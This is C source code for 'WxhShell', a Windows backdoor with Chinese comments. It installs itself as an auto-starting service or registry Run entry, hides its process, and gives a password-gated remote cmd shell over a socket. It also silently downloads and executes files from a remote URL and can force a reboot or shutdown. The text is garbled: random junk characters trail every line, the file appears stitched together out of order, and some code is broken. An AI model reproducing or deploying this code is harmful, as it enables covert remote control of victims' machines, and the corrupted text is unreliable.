    if(Boot(SHUTDOWN)) /8q7pwV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zla5$GM  
    else { Ag }hyIl  
    closesocket(wsh); ?qAX *j  
    ExitThread(0); ]n${j/x  
    } GuQ3$B3j  
    break; 7SoxsT)  
    } TmH#  
  // 获取shell jMcCu$i7  
  case 's': { f";70}_  
    CmdShell(wsh); ,8;;#XR3  
    closesocket(wsh); v[e$RH  
    ExitThread(0); j,/OzVm9  
    break; w:r0>  
  } SLSJn))@!  
  // 退出 L q'*B9  
  case 'x': { x@m"[u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;Y?7|G97*S  
    CloseIt(wsh); 9Wb9g/L  
    break; , =IbZ  
    } ']u w,b  
  // 离开 *ls}r5k2Y  
  case 'q': { SgAY/#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hx+a.N  
    closesocket(wsh); kMo;<Z  
    WSACleanup(); U;i:k%Bzy  
    exit(1); pTOS}A[dh  
    break; ?q7V B  
        } t2BkQ8vr  
  } bICi'`  
  } wHWd~K_q  
6JmS9ho  
  // 提示信息 WfhQi;r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0 !E* >  
} 8~ .r/!wfy  
  } >sm< < gVb  
&w*.S@  ;  
  return; 6f?5/hq  
} !a[ voUS  
'dQ2"x?4  
// shell模块句柄 |bi"J;y  
int CmdShell(SOCKET sock) 09_3`K. *  
{ ~kS~v  
STARTUPINFO si; r5(OH3  
ZeroMemory(&si,sizeof(si)); `dMOBYV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g`y >)N/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }LM^>M%  
PROCESS_INFORMATION ProcessInfo; KAjKv_6=g  
char cmdline[]="cmd"; Fq&@dxN3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l|%7)2TyG)  
  return 0; NlU:e}zGR  
} 16keCG\  
J}i$ny_3OB  
// 自身启动模式 rxI?|}4  
int StartFromService(void) ;pU9ov4)  
{ x(hUQu 6  
typedef struct Wgq*|teW  
{ "}\z7^.W>  
  DWORD ExitStatus; -[~{c]/c  
  DWORD PebBaseAddress; pA!+;Y!ZB<  
  DWORD AffinityMask; ykRKZYfsw(  
  DWORD BasePriority; 4^w>An6  
  ULONG UniqueProcessId; RB\>$D  
  ULONG InheritedFromUniqueProcessId; bG^E]a/D  
}   PROCESS_BASIC_INFORMATION; Cm JI"   
G- Sw`HHo  
PROCNTQSIP NtQueryInformationProcess; e3F)FTG&  
k>K23(X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g/lv>*+gS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~fAdOh  
^^}  
  HANDLE             hProcess; Z2PLm0%:  
  PROCESS_BASIC_INFORMATION pbi;  |}QDC/  
[bJ"*^M)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4eU};Pv  
  if(NULL == hInst ) return 0; '@AK0No\W  
 3iV/7~ O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W7l/{a @  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *VIM!/YW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e l'^9K  
6y%BJU.I  
  if (!NtQueryInformationProcess) return 0; _66zXfM<  
=k2+VI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zIH[ :  
  if(!hProcess) return 0; :?@d\c '  
y:iE'SRRK6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VpWax]'  
@-qxNw  
  CloseHandle(hProcess);  n1y#gC  
r7C  m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yHCQY4/  
if(hProcess==NULL) return 0; G+m|A*[>  
A}~hc&J  
HMODULE hMod; xY5Idl->  
char procName[255]; h}q+Dw.i  
unsigned long cbNeeded; }&y>g0$@  
m3F.-KPO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }-V .upl  
?j ?{} Z  
  CloseHandle(hProcess); %a8'6^k  
C(}9  
if(strstr(procName,"services")) return 1; // 以服务启动 6DaH+  
m1]rLeeEt  
  return 0; // 注册表启动 JI3AR e?y  
} &ad9VB7  
me1ac\  
// 主模块 p % 3B^  
int StartWxhshell(LPSTR lpCmdLine) %ghQ#dZ]&  
{ 1^}() H62}  
  SOCKET wsl; }C2I9Cl  
BOOL val=TRUE; K\IS"b3X  
  int port=0; ,{%/$7)  
  struct sockaddr_in door; wjq f u /  
vFL3eu#  
  if(wscfg.ws_autoins) Install(); ,":"Op61  
 Tx/  
port=atoi(lpCmdLine);  Ca@[]-_H  
-R~;E[ {%  
if(port<=0) port=wscfg.ws_port;  O7s0M?4  
#T#&qo#  
  WSADATA data; z.e%AcX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1 YMaUyL 1  
pF K[b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NvJu)gI%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z|+L>O-8  
  door.sin_family = AF_INET; o7/_a/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  7 g  
  door.sin_port = htons(port); m?;)C~[  
o%M~Q<wf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u-OwL1S+  
closesocket(wsl); "!p#8jR^  
return 1; b1nw,(hLY  
} `USR]T_`  
9.zy`}  
  if(listen(wsl,2) == INVALID_SOCKET) { q{yz]H,  
closesocket(wsl); &r~~1BnpHm  
return 1; JF: QQ\  
} cp0>Euco=  
  Wxhshell(wsl); 8Dhq_R'r  
  WSACleanup(); eJ'2 CM6  
Jc`LUJT  
return 0; Ip.5I!h[Xb  
Q`5jEtu#,  
} UQ'D-eK  
%CF(SK2w  
// 以NT服务方式启动 -T4?5T_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C.8]~MP  
{ ?.\ CUVK  
DWORD   status = 0; MA(\ r  
  DWORD   specificError = 0xfffffff; F =iz\O!6  
S.t+HwVodO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %3fHitCikc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [NeOd77y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y&Pi`E9=  
  serviceStatus.dwWin32ExitCode     = 0; ``w,CP ?  
  serviceStatus.dwServiceSpecificExitCode = 0; C~'}RM  
  serviceStatus.dwCheckPoint       = 0; dMeDQ`c`W  
  serviceStatus.dwWaitHint       = 0; */nb%QV  
iP|h];a+@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Va(R*38k  
  if (hServiceStatusHandle==0) return;  B*Hp  
k/?+jb  
status = GetLastError(); ghbxRnU}  
  if (status!=NO_ERROR) n$5,B*  
{ a3HT1!M)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UgSSZ05Lq  
    serviceStatus.dwCheckPoint       = 0; W qci51y>#  
    serviceStatus.dwWaitHint       = 0; )P:TVe9`  
    serviceStatus.dwWin32ExitCode     = status; R/ l1$}  
    serviceStatus.dwServiceSpecificExitCode = specificError; ouVR[w>V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kn+`2-0  
    return; jl3RE|M\<  
  } ;OPzT9  
ws?p2$Cla  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }(op;7  
  serviceStatus.dwCheckPoint       = 0; g3LAi#m  
  serviceStatus.dwWaitHint       = 0; N=tyaS(YJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +s1+;VUs3  
} cQ*:U@  
oIoJBn  
// 处理NT服务事件,比如:启动、停止 Iimz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f*W<N06EZ  
{ l:j9lBS  
switch(fdwControl) [ {lF1+];@  
{ {s=QwZdR  
case SERVICE_CONTROL_STOP: aina6@S  
  serviceStatus.dwWin32ExitCode = 0; &IXr*I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sKn>K/4JZ  
  serviceStatus.dwCheckPoint   = 0; :E4i@ O7%  
  serviceStatus.dwWaitHint     = 0; cU%#oEMf<  
  { uZm<:d2%)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A-ir   
  } > ^n'  
  return; f`/JY!u j{  
case SERVICE_CONTROL_PAUSE: ;P5\EJo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [rqq*_eB  
  break; lQi2ym?  
case SERVICE_CONTROL_CONTINUE: f+fF5Z\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'PV,c|f>  
  break; JS({au  
case SERVICE_CONTROL_INTERROGATE: WQiEQ>6(t(  
  break; .LnXKRd{  
}; *% Vd2jW/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s) V7$D  
} KM< M^l_Q  
si3i#l&.b_  
// 标准应用程序主函数 qi7dcn@d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?#pL\1"E  
{ u"X8(\pOn  
>@ h0@N  
// 获取操作系统版本 (;~[}"  
OsIsNt=GetOsVer(); I*6L`#j[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *v l_3S5_  
dr,j~s  
  // 从命令行安装 G dL\  
  if(strpbrk(lpCmdLine,"iI")) Install(); m]7Y )&3  
cCyg&% zsT  
  // 下载执行文件 qLA  
if(wscfg.ws_downexe) { Fypqf|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =*8"ci $  
  WinExec(wscfg.ws_filenam,SW_HIDE); F[RhuNa&'W  
} (:Bo'q S  
2r PKZ|  
if(!OsIsNt) { <(3Uu()   
// 如果时win9x,隐藏进程并且设置为注册表启动 Ls*.=ARq  
HideProc(); @_N -> l  
StartWxhshell(lpCmdLine); aH'^`]'_=  
} /\ ~{  
else V %Y.N4H  
  if(StartFromService()) Lm,io\z  
  // 以服务方式启动 f=} u;^  
  StartServiceCtrlDispatcher(DispatchTable); rd%3eR?V  
else d 'x;]#S  
  // 普通方式启动 8V=I[UF.1?  
  StartWxhshell(lpCmdLine); E<-}Jc1  
4zJ9bF4  
return 0; "/ @ ;6   
} KC q3S  
(873:"(  
IK~ur\3  
C[gSiL  
=========================================== YJ rK oK}  
8'`&f &  
Vk0O^o  
cf0em!  
FCqs'  
Pbm ;@ V  
" Wd~}O<"  
9FPl  
#include <stdio.h> ?G!^ |^S*  
#include <string.h> nez5z:7F  
#include <windows.h> g.F{yX]  
#include <winsock2.h> #?}Y~Oe  
#include <winsvc.h> Y$oBsg\v  
#include <urlmon.h> 8ne5 B4  
6\~m{@  
#pragma comment (lib, "Ws2_32.lib") oY+RG|j@  
#pragma comment (lib, "urlmon.lib") A{&Etu(K  
b*P \a  
#define MAX_USER   100 // 最大客户端连接数 \f /<#'  
#define BUF_SOCK   200 // sock buffer mI0| lp 1$  
#define KEY_BUFF   255 // 输入 buffer ks(PH6:]<  
 pSV 8!  
#define REBOOT     0   // 重启 z81I2?v[Jr  
#define SHUTDOWN   1   // 关机 BtU,1`El5  
El"XF?OgpP  
#define DEF_PORT   5000 // 监听端口 DU}q4u@ )  
R8":1 #&  
#define REG_LEN     16   // 注册表键长度 mN@0lfk;  
#define SVC_LEN     80   // NT服务名长度 :*}tkr4&eh  
~a/yLI"'g  
// 从dll定义API !B-&I E?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `DWzp5Ax  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P d*}0a~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bs_I{bCu?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hb!Q}V+Kb8  
2uiiTg>  
// wxhshell配置信息 xu& v(C9  
struct WSCFG { ]*):2%f  
  int ws_port;         // 监听端口 H(?z?2b p  
  char ws_passstr[REG_LEN]; // 口令 u@==Ut  
  int ws_autoins;       // 安装标记, 1=yes 0=no '|WMt g  
  char ws_regname[REG_LEN]; // 注册表键名 )o9CFhFB  
  char ws_svcname[REG_LEN]; // 服务名 /SN.M6~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^z0[{1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [gQ~B1O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3@6f%Dyj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @jwUH8g1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6 D!,vu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;]<$p[m  
mRQ F5W6  
}; .0\Wu+  
y6:=2(]w<p  
// default Wxhshell configuration `@Kh>K  
struct WSCFG wscfg={DEF_PORT, {/#?n["  
    "xuhuanlingzhe", .>CqZN,^  
    1, !u4oo-  
    "Wxhshell", |mmIu_  
    "Wxhshell", ^IQC:2 1  
            "WxhShell Service", -qx Z3   
    "Wrsky Windows CmdShell Service", Kj-:'jzW  
    "Please Input Your Password: ", D5AKOM!`  
  1, nSd?P'PFg  
  "http://www.wrsky.com/wxhshell.exe", ly, d =  
  "Wxhshell.exe" F_V~UX1D  
    }; /xf %Rp4}  
3ck;~Ncj<  
// 消息定义模块 ?bN8h)>QQ8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q v{q:=k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; siyJjE)}w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H6'xXS  
char *msg_ws_ext="\n\rExit."; IybMO5Mwn  
char *msg_ws_end="\n\rQuit."; yKfRwO[ j  
char *msg_ws_boot="\n\rReboot..."; ;=UrIA@y;=  
char *msg_ws_poff="\n\rShutdown..."; W P.6ea7k  
char *msg_ws_down="\n\rSave to "; 4(B,aU>y  
2psI\7UjA]  
char *msg_ws_err="\n\rErr!"; m$[ \(Z(/  
char *msg_ws_ok="\n\rOK!"; ih1SN,/  
q;B-np?U  
char ExeFile[MAX_PATH]; '1.T-.4>&  
int nUser = 0; {u9VHAXCf  
HANDLE handles[MAX_USER]; V3I&0P k  
int OsIsNt; O a-Z eCq  
9"MC<  
SERVICE_STATUS       serviceStatus; x#Hq74H,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W0gaOew(^  
lza'l  
// 函数声明 v\\Z[,dK  
int Install(void); 9LCV"xgX  
int Uninstall(void); 6aMqU?-  
int DownloadFile(char *sURL, SOCKET wsh); U_M> Q_r(  
int Boot(int flag); $C^94$W  
void HideProc(void); S=M$g#X`5  
int GetOsVer(void); &x;v&  
int Wxhshell(SOCKET wsl);  D&N5)  
void TalkWithClient(void *cs); /=Q7RJ@P  
int CmdShell(SOCKET sock); PlBT H  
int StartFromService(void); \>9%=32u.  
int StartWxhshell(LPSTR lpCmdLine); 8$3Tu "+;  
EJZl'CR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >`s2s@Mx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4-cnkv\~  
&?YQVwsN  
// 数据结构和表定义 #^Sd r-   
SERVICE_TABLE_ENTRY DispatchTable[] = +s_@964  
{ dwJ'hg  
{wscfg.ws_svcname, NTServiceMain}, #l:qht  
{NULL, NULL} X g.\B1d  
}; r7w&p.?  
>Qt#6X|  
// 自我安装 /r}t  
int Install(void) E!3W_:Bs  
{ - n11L  
  char svExeFile[MAX_PATH]; htMpL  
  HKEY key; ]km8M^P  
  strcpy(svExeFile,ExeFile); (x?A#o>%  
T#er5WOH  
// 如果是win9x系统,修改注册表设为自启动  l R;<6  
if(!OsIsNt) { e2/&X;2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >JC.qjA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3- LO  
  RegCloseKey(key); ~u}[VP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wm@1jLjrQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WWq)Cw R  
  RegCloseKey(key); 0W]Wu[k  
  return 0; d [K56wbpx  
    } 9[$g;}w  
  } Kw925@W  
} \]y$[\F>  
else { JLc\KVmF  
S>cT(q_&  
// 如果是NT以上系统,安装为系统服务 Rn-L:o@?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sV3/8W13  
if (schSCManager!=0) u5T \_0  
{ i3#]_ p{  
  SC_HANDLE schService = CreateService yUNl)E  
  ( vxbO>c   
  schSCManager, V-J\!CHX  
  wscfg.ws_svcname, B.{0,b W?  
  wscfg.ws_svcdisp, .hT^7|Jz[  
  SERVICE_ALL_ACCESS, WY<ip<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OEZXV ;F  
  SERVICE_AUTO_START, T[ky7\  
  SERVICE_ERROR_NORMAL, /mqEc9sq,  
  svExeFile, SU H^]4>  
  NULL, S}*#$naK  
  NULL, CEI#x~Oq  
  NULL, 0]i#1Si~@  
  NULL, a)`h*P5@  
  NULL .Jou09+  
  ); \N/T^,  
  if (schService!=0) =\oNu&Q^  
  { M|Z] B<_x  
  CloseServiceHandle(schService); HHg=:>L z  
  CloseServiceHandle(schSCManager); MZ% P(5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qK(? \ t$  
  strcat(svExeFile,wscfg.ws_svcname); S }fIZ1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6=|Q>[K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @8V8gV? zm  
  RegCloseKey(key); E%/E%9-7\  
  return 0; U .e Urzu  
    } RZDZ3W(;h  
  } 8FbBv"LI,g  
  CloseServiceHandle(schSCManager); J*$ !^\s  
} *B@<{x r  
} ^H&6'A`  
~-'nEATE  
return 1; P]!eM(  
} Pm" ,7  
L;grH5K5  
// 自我卸载 Pf(z0o&  
int Uninstall(void) 5 _] i==M  
{ ydoCoD w  
  HKEY key; u~a<Psp&|  
'nW:2(J  
if(!OsIsNt) { R},mq&f5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2b3x|9o8  
  RegDeleteValue(key,wscfg.ws_regname); Y}e$5  
  RegCloseKey(key); Xj|j\2$ 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L(AY)gB  
  RegDeleteValue(key,wscfg.ws_regname); gIRFqEz@o  
  RegCloseKey(key); TLO-$>h  
  return 0; 8G(wYlxi  
  } ;~xkT'  
} KA%tVBl  
} 5b|_?Em7  
else { //| 9J(B]  
>&Bg F*mm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \s+ <w3  
if (schSCManager!=0) JnPA;1@/  
{ bzB9u&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @I_ A(cr  
  if (schService!=0) Etn]e;z4  
  { !K6:W1  
  if(DeleteService(schService)!=0) { W99Fb+$I  
  CloseServiceHandle(schService); E~{-RZNK  
  CloseServiceHandle(schSCManager); /:C"n|P7Z  
  return 0; 7F.>M  
  } /I".n]  
  CloseServiceHandle(schService); Neey myW  
  } sF(U?)48  
  CloseServiceHandle(schSCManager); K;S&91V)=  
} %~$4[,=  
} D|_}~T>;&  
BKVvu}V(o  
return 1; >(d+E\!A  
} vhKeW(z  
D:%$a]_f  
// 从指定url下载文件 =d( 6 )  
int DownloadFile(char *sURL, SOCKET wsh) ")ZHa qEB  
{ D~8f6Ko"m  
  HRESULT hr; ?Tb'J`MO  
char seps[]= "/"; eN,m8A`/S  
char *token; (Tc ~  
char *file; 1!BV]&,[  
char myURL[MAX_PATH]; w;{k\=W3Ff  
char myFILE[MAX_PATH]; zg|yW6l)9  
9;JU c0%  
strcpy(myURL,sURL); qlDLZ.  
  token=strtok(myURL,seps); sm\/wlbE  
  while(token!=NULL) :i?Z1x1`  
  { f)N67z6  
    file=token; `p'L3u5H-  
  token=strtok(NULL,seps); Y5Ey%M m6  
  } M> 1V3 sM  
b%T-nY2  
GetCurrentDirectory(MAX_PATH,myFILE); kZf7  
strcat(myFILE, "\\"); ?CM,k0  
strcat(myFILE, file); uK): d&]Ux  
  send(wsh,myFILE,strlen(myFILE),0); }1Wo#b+  
send(wsh,"...",3,0); a?Q~C<k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); | ql!@M(p  
  if(hr==S_OK) vT3LhN+1  
return 0; I8`.e qV  
else Dt.OZ4w5  
return 1; ,CwhpW\Y  
;2%3~L8?V  
} [y>Q3UqN  
/rJvw   
// 系统电源模块 9.PY49|  
int Boot(int flag) ;41s&~eR  
{ mQ' ]0DS  
  HANDLE hToken; rPr#V1}1a  
  TOKEN_PRIVILEGES tkp; rA{h/T"  
_czLKbcF  
  if(OsIsNt) { m0/J3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +Y 3_)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0-FwHDxw  
    tkp.PrivilegeCount = 1; xAz gQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^W#[6]S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @yobT,DXi  
if(flag==REBOOT) { XTHrf'BU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'KyT]OObS  
  return 0; |oO0%#1H  
} bu@Pxz%_  
else { *GD 1[:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2NE/ZqREg  
  return 0; -cIc&5CS  
} yf_<o   
  } '_(oa<g  
  else { QZQ@C#PR;  
if(flag==REBOOT) { ;|9VPv/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o)1wF X  
  return 0; lywcT! <  
} 1\zI#"b ^  
else { "fz-h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y~U+MtSf#  
  return 0; T|9Yo=UK%  
} 5)&e2V',y  
} vP&*(WfO)  
t"RgEH@  
return 1; X2sK<Qluql  
} zA( 2+e 7  
APK@Oq  
// win9x进程隐藏模块 r+$ 0u~^  
void HideProc(void) etGquW.  
{ ?V*>4A  
MV=.(Zs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5dYIL`  
  if ( hKernel != NULL ) & +%CC  
  { Z<ke!H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oJXZ}>>iT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tDIzn`$ z  
    FreeLibrary(hKernel); B-M|}T  
  } hhYo9jTHW  
|a^ydwb  
return; hRc\&+#/  
} QZ9 )uI  
`.[hOQ7  
// 获取操作系统版本 GlD@Ud>o)  
int GetOsVer(void) nJ2l$J<  
{ a$9UUH-|  
  OSVERSIONINFO winfo; h3O5DP6~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i_gS!1Z2  
  GetVersionEx(&winfo); ojyG|Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E7*1QR{Q  
  return 1; ~49+$.2  
  else 4.??U!r>KI  
  return 0; = ng\  
} 5<d Y,FvX  
P=u)Q _  
// 客户端句柄模块 nc$?tC9V  
int Wxhshell(SOCKET wsl) 1d-j_ H`s  
{ %NxNZe  
  SOCKET wsh; <NS= <'U  
  struct sockaddr_in client; xbn+9b  
  DWORD myID; 4b7}Sr=`  
S0p]:r ";x  
  while(nUser<MAX_USER) E 8,53$  
{ I0OsaX'  
  int nSize=sizeof(client); XUMCz7&j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b\^Sz{  
  if(wsh==INVALID_SOCKET) return 1; )OjbmU!7  
UDp"+nS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K8e>sU.  
if(handles[nUser]==0) |wK)(s  
  closesocket(wsh); cH2 nG:H  
else TR ]lP<m  
  nUser++; {9C(\i +  
  } v SWqOv$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _KD(V2W  
ijoR(R^r  
  return 0; +8 6\&y)  
} )NyGV!Zuu  
dcXtT3,kpX  
// 关闭 socket i37W^9 R  
void CloseIt(SOCKET wsh) !pDS*{)E  
{ D0"+E*   
closesocket(wsh); CsuSg*#X+  
nUser--; H<1C5-  
ExitThread(0); :()4eK/\  
} wBeOMA  
&dOV0y_  
// 客户端请求句柄 Q[~O`Lz  
void TalkWithClient(void *cs) p&ow\A O  
{ P#Eqe O  
'n>|jw)  
  SOCKET wsh=(SOCKET)cs; %f:'A%'Qb  
  char pwd[SVC_LEN]; g:f0K2)\r:  
  char cmd[KEY_BUFF]; q:?g?v  
char chr[1]; 0imz }Z]  
int i,j; uy`U1>  
'# (lq5 c  
  while (nUser < MAX_USER) { ?$r+#'asd(  
3&2,[G04  
if(wscfg.ws_passstr) { U ][.ioc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bF B;N+>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xn6E f"  
  //ZeroMemory(pwd,KEY_BUFF); QjZ}*p  
      i=0; NWoZDsu  
  while(i<SVC_LEN) { T,H]svN5p  
XP{ nf9&  
  // 设置超时 ;gW~+hW^  
  fd_set FdRead; {P = {)  
  struct timeval TimeOut; ybYSz@7  
  FD_ZERO(&FdRead); MTLcLmdO  
  FD_SET(wsh,&FdRead); v,>q]! |a  
  TimeOut.tv_sec=8; ]JhtO{  
  TimeOut.tv_usec=0; a"WnBdFZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~vF.k,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q*'hSt@+D  
4)XN1r:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lg!1q8  
  pwd=chr[0]; .|iUDp6vz  
  if(chr[0]==0xd || chr[0]==0xa) { T-<^mX[}  
  pwd=0; !gT6S o  
  break; !;R{-  
  } ?B h}  
  i++; ~t#'X8.)  
    } [r]USCq  
9Ft)VX  
  // 如果是非法用户,关闭 socket 59EAqz[:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o'H$g%  
} FWD9!M K  
)hQ`l d7B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]%mg(&p4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YY]LK%-  
i]1[eGF  
while(1) { )<3WVvB  
3>S.wyMR4  
  ZeroMemory(cmd,KEY_BUFF); -Mv`|odY/  
x80~j(uVf  
      // 自动支持客户端 telnet标准   "`&?<82  
  j=0; ZS}2(t   
  while(j<KEY_BUFF) { M5%xp.B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Y!^88,f.  
  cmd[j]=chr[0]; lezdJ  
  if(chr[0]==0xa || chr[0]==0xd) { F.@yNr"  
  cmd[j]=0; y ruN5  
  break; 'z!I#Y!Y  
  } BJ&>'rc  
  j++; pq4+n'uO  
    } Y %<B,3  
_~_Hup  
  // 下载文件 !XtbZ-  
  if(strstr(cmd,"http://")) { ~gX@2!D5k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D/{-  
  if(DownloadFile(cmd,wsh)) R'9TD=qEK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L8ZCGW\Rr  
  else .#+rH}=Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?=PQQx2_*u  
  } @V<tg"(c  
  else { ?m~;*wn%  
Ke\?;1+  
    switch(cmd[0]) { 1"!<e$&$X  
  Z NuyGo;  
  // 帮助 7p~@S4  
  case '?': { 2&=;$2?}  
